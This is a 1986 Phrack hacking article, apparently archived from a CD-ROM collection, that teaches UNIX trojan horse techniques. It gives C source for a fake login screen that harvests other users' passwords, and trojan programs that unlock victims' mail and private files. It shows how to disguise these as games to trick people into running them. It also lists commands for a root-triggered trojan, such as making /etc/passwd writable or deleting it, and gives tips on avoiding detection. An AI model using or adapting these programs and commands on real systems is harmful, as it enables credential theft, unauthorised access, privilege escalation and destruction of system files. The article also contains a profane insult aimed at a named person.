home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 1 / HACKER1.ISO / phrk1 / ph077.txt < prev    next >
Text File  |  1992-09-26  |  13KB  |  362 lines

  1.                                ==Phrack Inc.==
  2.  
  3.                     Volume One, Issue 7, Phile #7 of 10
  4.  
  5. ------------------
  6. UNIX Trojan Horses
  7. ------------------
  8.  
  9. By Shooting Shark of Tiburon Systems / R0DENTZWARE - 6/26/86
  10.  
  11. Introduction
  12. ------------
  13.  
  14.      "UNIX Security" is an oxymoron.  It's an easy system to brute-
  15. force hack (most UNIX systems don't hang up after x number of login
  16. tries, and there are a number of default logins, such as root, bin,
  17. sys and uucp).  Once you're in the system, you can easily bring
  18. it to its knees (see my previous Phrack article, "UNIX Nasty Tricks")
  19. or, if you know a little 'C', you can make the system work for you
  20. and totally eliminate the security barriers to creating your own
  21. logins, reading anybody's files, etcetera.  This file will outline
  22. such ways by presenting 'C' code that you can implement yourself.
  23.  
  24. Requirements
  25. ------------
  26.      You'll need a working account on a UNIX system.  It should be
  27. a fairly robust version of UNIX (such as 4.2bsd or AT&T System V)
  28. running on a real machine (a PDP/11, VAX, Pyramid, etc.) for the
  29. best results.  If you go to school and have an account on the school
  30. system, that will do perfectly.
  31.  
  32. Notes
  33. -----
  34.      This file was inspired an article in the April, '86 issue of
  35. BYTE entitled "Making UNIX Secure."  In the article, the authors say
  36. "We provide this information in a way that, we hope, is interesting and
  37. useful yet stops short of being a 'cookbook for crackers.'  We have
  38. often intentionally omitted details."  I am following the general
  39. outline of the article, giving explicit examples of the methods they touched
  40. on.
  41.  
  42.      An unrelated note:  Somewhere there's a dude running around using
  43. the handle "Lord British" (not THE Lord British...).  This is a message
  44. for LB:  "Fuck off and die."
  45.  
  46. Here we go...
  47.  
  48. Project One:  Fishing For Passwords
  49. -----------------------------------
  50.  
  51.      You can implement this with only a minimal knowledge of UNIX and
  52. C.  However, you need access to a terminal that many people use -
  53. the computer lab at your school, for example.
  54.  
  55.      When you log onto a typical UNIX system, you see something like this:
  56.  
  57. Tiburon Systems 4.2bsd / System V (shark)
  58.  
  59.  
  60. login: shark
  61. Password:      (not printed)
  62.  
  63.      The program I'm giving you here simulates a logon sequence.  You
  64. run the program from a terminal and then leave.  Some unknowing fool
  65. will walk up and enter their login and password.  It is written to a
  66. file of yours, then "login incorrect" is printed, then the fool is
  67. asked to log in again.  The second time it's the real login program.
  68. This time the person succeeds and they are none the wiser.
  69.  
  70.      On the system, put the following code into a file called 'horse.c'.
  71. You will need to modify the first 8 lines to fit your system's appearance.
  72.  
  73.  
  74. ----- Code Begins Here -----
  75.  
  76. /* this is what a 'C' comment looks like.  You can leave them out. */
  77.  
  78. /* #define's are like macros you can use for configuration. */
  79.  
  80. #define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"
  81.  
  82. /* The above string should be made to look like the message that your
  83.  * system prints when ready.  Each \n represents a carriage return.
  84.  */
  85.  
  86. #define LOGIN  "login: "
  87.  
  88. /* The above is the login prompt.  You shouldn't have to change it
  89.  * unless you're running some strange version of UNIX.
  90.  */
  91.  
  92. #define PASSWORD "password:"
  93.  
  94. /* The above is the password prompt.  You shouldn't have to change
  95.  * it, either.
  96.  */
  97.  
  98. #define WAIT 2
  99.  
  100. /* The numerical value assigned to WAIT is the delay you get after
  101.  * "password:" and before "login incorrect."  Change it (0 = almost
  102.  * no delay, 5 = LONG delay) so it looks like your system's delay.
  103.  * realism is the key here - we don't want our target to become
  104.  * suspicious.
  105.  */
  106.  
  107.  
  108. #define INCORRECT "Login incorrect.\n"
  109.  
  110. /* Change the above so it is what your system says when an incorrect
  111.  * login is given.  You shouldn't have to change it.
  112.  */
  113.  
  114. #define FILENAME "stuff"
  115.  
  116. /* FILENAME is the name of the file that the hacked passwords will
  117.  * be put into automatically.  'stuff' is a perfectly good name.
  118.  */
  119.  
  120. /* Don't change the rest of the program unless there is a need to
  121.  * and you know 'C'.
  122.  */
  123.  
  124. #include <curses.h>
  125. #include <signal.h>
  126. int stop();
  127.  
  128. main()
  129. {
  130. char name[10], password[10];
  131. int i;
  132. FILE *fp, *fopen();
  133. signal(SIGINT,stop);
  134. initscr();
  135. printf(SYSTEM);
  136. printf(LOGIN);
  137. scanf("%[^\n]",name);
  138. getchar();
  139. noecho();
  140. printf(PASSWORD);
  141. scanf("%[^\n]",password);
  142. printf("\n");
  143. getchar();
  144. echo();
  145. sleep(WAIT);
  146.  
  147.  
  148. if ( ( fp = fopen(FILENAME,"a") )  != NULL ) {
  149. #fprintf(fp,"login %s has password %s\n",name,password);
  150. #fclose(fp);
  151. #}
  152.  
  153. printf(INCORRECT);
  154. endwin();
  155. }
  156.  
  157. stop()
  158. {
  159. endwin();
  160. exit(0);
  161. }
  162.  
  163.  
  164. ----- Source Ends Here -----
  165.  
  166.      OK, as I said, enter the above and configure it so it looks exactly
  167. like your system's login sequence.  To compile this program called
  168. 'horse.c' type the following two lines: (don't type the %'s, they are
  169. just a sample prompt)
  170.  
  171. % cc horse.c -lcurses -ltermcap
  172. % mv a.out horse
  173.  
  174. You now have the working object code in a file called 'horse'.  Run it,
  175. and if it doesn't look like your systems logon sequence, re-edit horse.c
  176. and re-compile it.  When you're ready to put the program into use, create
  177. a new file and call it 'trap' or something.  'trap' should have these two
  178. commands:
  179.  
  180. horse                    (this runs your program)
  181. login                    (this runs the real login program)
  182.  
  183. to execute 'trap' type:
  184.  
  185. % source trap            (again, don't type the %)
  186.  
  187. and walk away from your terminal...
  188.  
  189. After you've run it successfully a few times, check your file called
  190. 'stuff' (or whatever you decided to call it).  It will look like this:
  191.  
  192. user john has password secret
  193. user mary has password smegma
  194. etc.
  195.  
  196. Copy down these passwords, then delete this file (it can be VERY
  197. incriminating if the superuser sees it).
  198.  
  199. Note - for best results your terminal should be set to time-out after
  200. a few minutes of non-use - that way, your horse program doesn't
  201. run idle for 14 hours if nobody uses the terminal you ran it on.
  202.  
  203. -----
  204.  
  205. The next projects can be run on a remote system, such as the VAX in
  206. Michigan you've hacked into, or Dartmouth's UNIX system, or whatever.
  207. However, they require a little knowledge of the 'C' language.  They're
  208. not something for UNIX novices.
  209.  
  210. Project Two:  Reading Anybody's Files
  211. -------------------------------------
  212.  
  213. When somebody runs a program, they're the owner of the process created
  214. and that program can do anything they would do, such as delete a file
  215. in their directory or making a file of theirs available for reading
  216. by anybody.
  217.  
  218. When people save old mail they get on a UNIX system, it's put into
  219. a file called mbox in their home directory.  This file can be fun
  220. to read but is usually impossible for anybody but the file's owner
  221. to read.  Here is a short program that will unlock (i.e. chmod 777,
  222. or let anybody on the system read, write or execute) the mbox file
  223. of the person who runs the program:
  224.  
  225. ----- Code Begins Here -----
  226.  
  227. #include <pwd.h>
  228.  
  229. struct passwd *getpwnam(name);
  230. struct passwd *p;
  231. char buf[255];
  232.  
  233. main()
  234. {
  235. p = getpwnam(getlogin());
  236. sprintf(buf,"%s/%s",p->pw_dir,"mbox");
  237. if ( access(buf,0) > -1 ) {
  238.         sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
  239.         system(buf);
  240.         }
  241. }
  242.  
  243. ----- Code Ends Here -----
  244.  
  245. So the question is:  How do I get my target to run this program that's
  246. in my directory?
  247.  
  248. If the system you're on has a public-messages type of thing (on
  249. 4.xbsd, type 'msgs') you can advertise your program there.  Put the
  250. above code in another program - find a utility or game program in
  251. some magazine like UNIX WORLD and modify it and do the above before
  252. it does it's real thing.  So if you have a program called tic-tac-toe
  253. and you've modified it to unlock the mbox file of the user before it
  254. plays tic-tac-toe with him, advertise "I have a new tic-tac-toe program
  255. running that you should all try.  It's in my directory." or whatever.
  256. If you don't have means of telling everybody on the system via a public
  257. message, then just send mail to the specific people you want to trap.
  258.  
  259. If you can't find a real program to modify, just take the above program
  260. and add this line between the two '}' lines at the end of the program:
  261.  
  262. printf("Error opening tic-tac-toe data file.  Sorry!\n");
  263.  
  264. when the program runs, it will print the above error message.  The user
  265. will think "Heh, that dude doesn't know how to write a simple tic-tac-
  266. toe program!" but the joke's on him - you can now read his mail.
  267.  
  268. If there's a specific file in a user's directory that you'd like to
  269. read (say it's called "secret") just throw together this general
  270. program:
  271.  
  272.  
  273. main()
  274. {
  275. if ( access("secret",0) > -1 ) system("chmod 777 secret");
  276. }
  277.  
  278. then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program
  279. called super_star_wars, will you try it out?"
  280.  
  281. You can use your imagination.  Think of a command you'd like somebody
  282. to execute.  Then put it inside a system() call in a C program and
  283. trick them into running your program!
  284.  
  285. Here's a very neat way of using the above technique:
  286.  
  287. Project Three: Become the superuser
  288. -----------------------------------
  289.  
  290. Write a program that you can get people to run.  Put this line in
  291. it somewhere:
  292.  
  293. if ( !strcmp(getlogin(),"root") ) system("whatever you want");
  294.  
  295. This checks to see if the root login is running your program.  If
  296. he is, you can have him execute any shell command you'd like.
  297. Here are some suggestions:
  298.  
  299. "chmod 666 /etc/passwd"
  300.  
  301.      /etc/passwd is the system's password file.  The root owns this
  302. file.  Normally, everyone can read it (the passwords are encrypted)
  303. but only the root can write to it.  Take a look at it and see how it's
  304. formatted if you don't know already.  This command makes it possible
  305. for you to now write to the file - i.e. create unlimited accounts for
  306. yourself and your friends.
  307.  
  308. "chmod 666 /etc/group"
  309.  
  310.      By adding yourself to some high-access groups, you can open many
  311. doors.
  312.  
  313. "chmod 666 /usr/lib/uucp/L.sys"
  314.  
  315.      Look for this file on your system if it is on the uucp net.  It
  316. contains dialups and passwords to other systems on the net, and normally
  317. only the uucp administrator can read it.  Find out who owns this file
  318. and get him to unknowingly execute a program to unlock it for you.
  319.  
  320. "rm /etc/passwd"
  321.  
  322.      If you can get the root to execute this command, the system's
  323. passwd file will be removed and the system will go down and will
  324. not come up for some time to come.  This is very destructive.
  325.  
  326. -----
  327.  
  328. If you are going to go about adding a trojan horse program to the
  329. system, there are some rules you should follow.  If the hidden purpose
  330. is something major (such as unlocking the user's mbox or deleting all
  331. of his files or something) this program shouldn't be a program that
  332. people will be running a lot (such as a popular computer game) - once
  333. people discover that their files are public access the source of the
  334. problem will be discovered quite easily.  Save this purpose for a 'test'
  335. program (such as a game you're in the process of writing) that you
  336. ask individual people to run via mail or 'chatting' with them.  As I
  337. said, this 'test' program can bomb or print a phony error message after
  338. completing its task, and you will just tell the person "well, I guess
  339. it needs more work", wait until they log off, and then read whatever
  340. file of theirs that you've unlocked.  If your trojan horse program's
  341. sole purpose is to catch a specific user running it - such as the
  342. root or other high-powered user - you can put the code to do so
  343. in a program that will be run a lot by various users of the system.
  344. Your modification will remain dormant until he runs it.
  345. If you can't find the source to 'star trek' or whatever in C, just
  346. learn C and convert something from pascal.  It can't hurt to learn
  347. C as it's a great language.  We've just seen what it can do on a
  348. UNIX system.  Once you've caught the root (i.e. you can now modify
  349. the /etc/passwd file) remove the spurious code from your trojan horse
  350. program and you'll never be caught.
  351.  
  352. That's it...if you have any questions or comments or you just want
  353. to bitch at me, call this system:
  354.  
  355. The Matrix
  356. 415/922-2008
  357. 101 megs, IBM warezzz, 2400 baud, Phrack sub-board, etc.
  358.  
  359. Lord British, I *dare* you to call.
  360. 
  361. Downloaded From P-80 International Information Systems 304-744-2253 12yrs+
  362.